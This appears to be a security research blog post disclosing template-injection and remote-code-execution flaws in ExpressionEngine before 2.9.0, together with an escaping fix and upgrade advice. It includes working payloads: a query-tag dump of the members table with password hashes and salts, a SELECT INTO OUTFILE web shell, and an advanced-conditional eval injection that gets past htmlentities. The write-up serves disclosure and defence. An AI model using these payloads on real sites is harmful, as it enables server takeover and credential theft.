Security research

…and secure development

Remote Code Execution in ExpressionEngine

Like many others before me, I had found ExpressionEngine’s templating engine to have a bit of learning curve when it came down it’s internals, and really only after I had read Lodewijk Schutte’s overview of ExpressionEngine’s parse order did it click with me, and debugging problems became a little easier. ExpressionEngine’s templating engine parses each template in stages, with each stage applying transformations to the document.

The 9 stages of ExpressionEngine’s templating engine:

  1. Parse snippets / global variables, segment variables and embed variables
  2. Parse PHP on Input
  3. Parse simple conditionals: segment, embed, global variables
  4. Assign and parse preload_replace variables
  5. Parse module and plugin tags
  6. Parse PHP on Output
  7. Parse advanced conditionals
  8. Process embedded templates
  9. Parse User Defined global variables and others.

An unfortunate side effect of this is that the result of some transformations applied in earlier stages can produce template tags to be parsed in later stages. In particular unfiltered user input that is output onto the page could actually produce template tags which would allow you to do some nasty stuff if the query module was enabled. If the developer has setup a form that processes user input in the PHP input stage, you can craft the input to make calls to the query module:

# Our template at site/index.html
<form action="{path=site/index}" method="post" accept-charset="utf-8">
    <label for="name">Name</label>
    <input type="text" name="name" value="<?php echo $_POST['name'] ?>">
    <p><input type="submit" value="Continue &rarr;"></p>

Sending this in the content of the name parameter would dump the exp_members table.

{exp:query sql="SELECT * FROM exp_members"}

Or we could drop in a shell if the images/avatars directory is world writable.

{exp:query sql="SELECT '<?php passthru($_REQUEST[\'code\']) ?>' INTO OUTFILE '/{replace with document root}/images/avatars/shell.php' "}{/exp:query}

If the developer processes the PHP on output or from a module, it’s still possible to write out embed tags with our payload:

    title='{exp:query sql="SELECT * FROM exp_members"}{username}|{password}|{salt}@{/exp:query}'

This would work if the {embed:title} tag is output onto the page. For example:

# Our template at partials/.head.html

Embedding a template starts the parse order over (it’s done for each template), so this works.

Looking at the parse order you would think that output from modules could write PHP code, but <?php ?> tags are escaped. In general, it’s recommended to not allow PHP code to run from templates, and to create modules in order to handle logic the templating engine can’t handle, but it’s up to the developer.

I had first stumbled on a PHP syntax error in one of my templates that did not have PHP enabled. After a bit of debugging, I noticed the Advanced Conditionals template tags are translated into PHP and run through eval. At this point, I was curious what escaping was done to prevent any PHP code contained in the conditional from being executed, and there was some pretty aggressive filtering put in place to only allow EE’s variables to be evaluated. After testing further I was able to find a bug that allowed PHP code to slip through untouched in a particularly dangerous way.

In the previous examples, the form has no protection against XSS, and using <?php echo htmlentities($_POST['name'], ENT_QUOTES, 'utf-8') ?> is enough to prevent the query and embed tags from working as intended and stopping the attack. Not only that, but using htmlentities or htmlspecialchars is pretty standard for filtering user input, and most security conscious developers will use them. So let’s say the template is setup in a more security conscious way to prevent this:

# Our template at site/index.html
<form action="{path=site/index}" method="post" accept-charset="utf-8">
    <label for="name">Name</label>
    <input type="text" name="name" value="<?php echo htmlentities($_POST['name'], ENT_QUOTES, 'utf-8') ?>">
    <p><input type="submit" value="Continue &rarr;"></p>

Sending this in the content of the name parameter will evaluate the contents of our crafted y parameter.

name: {if location || null.location.eval($_POST[y].location)}{/if}
y: phpinfo();

This will pass through htmlentities, htmlspecialchars and CodeIgniter’s xss_clean untouched, unfortunately. More so, the attack does not depend on PHP being enabled, the form’s output could be handled from a module/plugin. It only depends on user input being output somewhere into the template parse order before stage 7 (parsing advanced conditionals), and ExpressionEngine tags not being filtered out. This attack is somewhat hard to trace as well, the URL containing the form will show POST requests made to it in Apache logs, so an attacker’s payload will blend in with natural traffic.

ExpressionEngine does provide a method for escaping templating tags via encode_ee_tags in Functions.php. I have written my own escape function and I would HIGHLY recommend using it to filter any user input that will be sent to the templating engine.

function ee_escape($input, $flags = ENT_QUOTES, $encoding = 'UTF-8', $double_encode = true) {
    return get_instance()->functions->encode_ee_tags(htmlentities($input, $flags, $encoding, $double_encode), true);

As of ExpressionEngine 2.9.0, EllisLab has updated their templating engine and built their own advanced conditional parser and no longer use eval to process advanced conditionals. 2.9.0 includes a few other security fixes, so you should upgrade if you haven’t already.